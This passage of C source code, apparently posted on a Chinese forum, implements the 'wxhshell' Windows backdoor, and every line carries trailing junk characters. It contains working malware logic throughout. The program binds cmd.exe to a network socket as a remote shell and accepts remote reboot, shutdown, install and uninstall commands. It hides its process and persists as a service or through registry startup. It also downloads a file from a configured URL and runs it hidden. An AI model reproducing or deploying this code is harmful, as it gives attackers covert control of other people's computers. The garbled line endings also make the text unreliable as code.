    switch(cmd[0]) { ?EUg B\  
  La6 9or   
  // 帮助 rQzdHA  
  case '?': { O n0!>-b,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }/J"/ T  
    break; RrxbsG1HP  
  } ,|c;x1|O  
  // 安装 _HM?p(H@  
  case 'i': { M XW1 :  
    if(Install()) j~_iv~[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +aOevkY]  
    else 9o,Eq x4J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R.i ]6H!  
    break; w*{{bISw|  
    } W$]qo|2P  
  // 卸载 8K2@[TE=5  
  case 'r': { lAnOO5@8  
    if(Uninstall()) ~;?mD/0k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v[|-`e*  
    else uWx<J3~q.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YXo?(T..  
    break; +8<$vzB  
    } L)M{S3q,  
  // 显示 wxhshell 所在路径 ((Av3{05H&  
  case 'p': { ta95]|z"j  
    char svExeFile[MAX_PATH]; 8i$|j~M a  
    strcpy(svExeFile,"\n\r"); l!gX-U%-  
      strcat(svExeFile,ExeFile); (PE.v1T  
        send(wsh,svExeFile,strlen(svExeFile),0); a;5clonB  
    break; T=/c0#Q|q  
    } 0;x&\x7K  
  // 重启 W7C1\'T  
  case 'b': { V|A)f@ Fs  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); a6zWg7 PN  
    if(Boot(REBOOT)) HG /fp<[   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -pJ\_u/&%`  
    else { }alq~jY  
    closesocket(wsh); N?c~AEk9U  
    ExitThread(0); <f (z\pi1  
    } 2aTq?ZR|8A  
    break; NEIF1( :  
    } @=G [mc\  
  // 关机 }\m.~$|[  
  case 'd': { Qu#[PDhb  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); WS6Qp`c )e  
    if(Boot(SHUTDOWN)) PkFG0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H3!9H  
    else { K 91O$'J  
    closesocket(wsh); Y*b$^C%2  
    ExitThread(0); #[i3cn  
    } nKd'5f1  
    break; .Ao _c x  
    } 5OPvy,e6  
  // 获取shell G5|nt#>  
  case 's': { v~x`a0  
    CmdShell(wsh); c)Ng9p  
    closesocket(wsh); cGs& Kn;h  
    ExitThread(0); PE;<0Cz\  
    break; >'#vC]@  
  } P#3J@aRC  
  // 退出 kXdXyq  
  case 'x': { ,f%4xXI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d_:f-  
    CloseIt(wsh); k]AL\) &W  
    break; Zk~Pq%u  
    } 6W:]'L4!  
  // 离开  Hxy=J  
  case 'q': { qOmL\'8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); h:7\S\|8  
    closesocket(wsh); ;>/Mal  
    WSACleanup(); mS}.?[d"  
    exit(1); <k3KCt  
    break; >;"%Db  
        } ;TC]<N.YJT  
  } [ Y{  
  } SnX)&>B  
``]NB=N}{1  
  // 提示信息 ltrti.&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w_"-rGV  
} !yi*Zt~  
  } Ve9) ?=!  
%<8?$-[  
  return; mYfHBW:  
} +BM[@?"hrh  
b7+(g [O  
// shell模块句柄 S.>fB7'(?=  
int CmdShell(SOCKET sock) uMm`j?Y23q  
{ )l(DtU!E  
STARTUPINFO si; NZG ^B/  
ZeroMemory(&si,sizeof(si)); |F\fdB}?S:  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U:@tdH+A7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N2|NYDQs  
PROCESS_INFORMATION ProcessInfo; yXIJeo"  
char cmdline[]="cmd"; j"Ew)6j  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^} Y}Iz  
  return 0; %S`Wu|y  
} [j TU nP  
?.-+U~  
// 自身启动模式 KbciRRf!k  
int StartFromService(void) ~Hd *Xl  
{ g/FT6+&T.  
typedef struct Kc@Sw{JR#7  
{ zRgGSxn  
  DWORD ExitStatus; ZmkH55Cn  
  DWORD PebBaseAddress; FWp ?l  
  DWORD AffinityMask; ^Nds@MR{8'  
  DWORD BasePriority; F_ -Xx"  
  ULONG UniqueProcessId; 1Ke9H!_P  
  ULONG InheritedFromUniqueProcessId; dEI!r1~n  
}   PROCESS_BASIC_INFORMATION; *>:<  
yK"HHdYTV  
PROCNTQSIP NtQueryInformationProcess; "9X!Ewm"P  
vqVwo\oEdU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; RH7!3ye  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zFDtC-GF  
RZVZ#q(DU  
  HANDLE             hProcess; n'j}u  
  PROCESS_BASIC_INFORMATION pbi; a*&&6Fo  
tCRsaDK>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A"qDc  
  if(NULL == hInst ) return 0; Z<=L  
"E4CQL'U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T#:b  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p Djt\R<f  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }G^'y8U  
m$hkmD|  
  if (!NtQueryInformationProcess) return 0; 2dB]Lw@s  
6Hy_7\$(-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L?M x"  
  if(!hProcess) return 0; e]dFNunFq0  
Nw"?~"bo  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;;C2t&(  
uvR l`"Y  
  CloseHandle(hProcess); x|c_(  
Hj`\Fm*A  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cdGBo4  
if(hProcess==NULL) return 0;  V_e  
N9*QQ0  
HMODULE hMod; I\M }Dxpp  
char procName[255]; ]Nssn\X7  
unsigned long cbNeeded; ; bHS^  
QX&Y6CC`]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0DnOO0Nc  
f<oU" WM  
  CloseHandle(hProcess); O0_RW`69  
rR/{Yx4  
if(strstr(procName,"services")) return 1; // 以服务启动 9@mvG^  
C CLc,r>)  
  return 0; // 注册表启动 UUvCi+W  
} bVa?yWb.  
%2B1E( r%M  
// 主模块 /2*Bd E[yG  
int StartWxhshell(LPSTR lpCmdLine) |TQ4:P1T  
{ =\MAz[IDj  
  SOCKET wsl; mQSn*;9\T3  
BOOL val=TRUE; M ' %zA;Wl  
  int port=0; $Xu/P5  
  struct sockaddr_in door; `PI*\t0  
O'@[ f{  
  if(wscfg.ws_autoins) Install(); mC-wPi8  
Ejf5M\o  
port=atoi(lpCmdLine); LylCr{s7  
Xx2t0AIB  
if(port<=0) port=wscfg.ws_port; z;/8R7L&  
D6fd(=t1Z  
  WSADATA data; 'qG-)2 t  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ox\D04:M  
R >&8%%#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \L}7.fkb8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l,3,$  
  door.sin_family = AF_INET; darbL_1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5}! 36SO\  
  door.sin_port = htons(port); r1}1lJ>7H  
h qhX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 2 J3/Eu  
closesocket(wsl); i]4nYYS  
return 1; .RAyi>\e  
} H;q[$EUNb  
]n"U])pJd  
  if(listen(wsl,2) == INVALID_SOCKET) { ( *K)D$y  
closesocket(wsl); b5KK0Jjk  
return 1; -II03 S1  
} l[%=S!  
  Wxhshell(wsl); Lp4F1H2t-  
  WSACleanup(); lOe|]pQ.,  
p8?"}  
return 0; nqTOAL9FF  
;i/? fw[h  
} ZSD7%gE<D  
o Q*LP{M  
// 以NT服务方式启动 a0PU&o1EF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \[)SK`cwd  
{ V eY&pPQ  
DWORD   status = 0; l]Ym)QP  
  DWORD   specificError = 0xfffffff; 5j0 Ib>\  
Fq o h!F  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Gxxz4    
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; B(} 'yY@%u  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e"{"g[b/7  
  serviceStatus.dwWin32ExitCode     = 0; {^:NII]  
  serviceStatus.dwServiceSpecificExitCode = 0; EQw7(r|v:  
  serviceStatus.dwCheckPoint       = 0; Di}M\!-[  
  serviceStatus.dwWaitHint       = 0; F?cwIE\J  
e{XzUY6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Rh$+9w  
  if (hServiceStatusHandle==0) return; y7rT[f/J  
s aHY9{)  
status = GetLastError(); p&)d]oV>  
  if (status!=NO_ERROR) kd]CV7(7  
{ EgbH{)u  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; FgrVXb_q  
    serviceStatus.dwCheckPoint       = 0; Je2&7uR0  
    serviceStatus.dwWaitHint       = 0; XJy.xI>;  
    serviceStatus.dwWin32ExitCode     = status; o61rTj  
    serviceStatus.dwServiceSpecificExitCode = specificError; fgC@(dvfk  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :qj;f];|  
    return; QP%Hwt]+  
  } oe3=QE  
8|L@-F  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; pjoyMHWK  
  serviceStatus.dwCheckPoint       = 0; ,w9| ?%S  
  serviceStatus.dwWaitHint       = 0; DO+~    
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]:']  
} D@ !r?E`  
_IV!9 JL  
// 处理NT服务事件,比如:启动、停止 q"DHMZB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z}Us+>z+jc  
{ #T{)y  
switch(fdwControl) F+ RE  
{ b35 3+7"|  
case SERVICE_CONTROL_STOP: C~"UOFX  
  serviceStatus.dwWin32ExitCode = 0; utl-#Wwt/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #sg dMrVQ  
  serviceStatus.dwCheckPoint   = 0; "68X+!  
  serviceStatus.dwWaitHint     = 0; cu'(Hj  
  { >Bdh`Ot-!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HD2C^V2@M  
  } 2Qh)/=8lM  
  return; '$'a .q1q9  
case SERVICE_CONTROL_PAUSE: ct OCj$$u  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Dsc0 ;7~6  
  break; njO~^Hl7  
case SERVICE_CONTROL_CONTINUE: G!G:YVWXP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :2/ jI:L~  
  break; .}Ys+d1b9c  
case SERVICE_CONTROL_INTERROGATE: EE`[J0 (  
  break; F#RNm5  
}; x2r.4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W\5 -Yg(@  
} mpVD;)?JmM  
G`Z<a  
// 标准应用程序主函数 PlK3;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7zA+UWr  
{ mO(Y>|mm  
so/0f1R?~  
// 获取操作系统版本 J|^z>gP(  
OsIsNt=GetOsVer(); mh`uvqY  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ur=:Ha  
zxH<~2  
  // 从命令行安装 0 z]H=  
  if(strpbrk(lpCmdLine,"iI")) Install(); J P5en  
UIg?3J}R  
  // 下载执行文件 C]l)Pz$  
if(wscfg.ws_downexe) { bmi",UZ:F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) yHlQKI  
  WinExec(wscfg.ws_filenam,SW_HIDE); 11Qi _T\  
} pzUr9  
~ qaT jSP  
if(!OsIsNt) { *tk=DsRW  
// 如果时win9x,隐藏进程并且设置为注册表启动 .O(9\3q\  
HideProc(); 1LhZmv  
StartWxhshell(lpCmdLine); i_*.  
} ?D_iib7  
else o:"(\$  
  if(StartFromService()) }bdoJ5  
  // 以服务方式启动 J=(i0A  
  StartServiceCtrlDispatcher(DispatchTable); m,62'  
else 6A|XB3  
  // 普通方式启动 yGrnzB6|  
  StartWxhshell(lpCmdLine); quC$<Y  
1@|%{c&+9  
return 0; m']$)Iqw  
}
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只看该作者 1 发表于: 2006-10-10
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